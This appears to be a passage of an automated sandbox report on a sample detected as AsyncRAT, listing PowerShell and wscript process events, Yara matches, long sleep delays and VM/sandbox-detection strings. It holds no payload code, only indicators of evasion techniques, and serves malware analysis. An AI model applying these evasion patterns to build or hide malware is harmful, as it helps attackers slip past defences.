Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 2BD0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 2DB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 4DB0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4984	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4800	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4458	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 686	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2154
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2802
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Window / User API: threadDelayed 4997
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Window / User API: threadDelayed 4816

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4324	Thread sleep count: 4458 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5248	Thread sleep count: 686 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4668	Thread sleep count: 2469 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1776	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5352	Thread sleep count: 2154 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5144	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5956	Thread sleep count: 2802 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 2848	Thread sleep count: 40 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 2848	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 2700	Thread sleep count: 4997 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 2700	Thread sleep count: 4816 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior

Source: powershell.exe, 00000003.00000002.3713678801.0000016A7C8F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}
Source: powershell.exe, 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000003.00000002.3669984863.0000016A7C5A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: powershell.exe, 00000003.00000002.3713678801.0000016A7C892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wscript.exe, 00000000.00000003.3956310266.000002209113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}z!

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: amsi64_2608.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5676.amsi.csv, type: OTHER
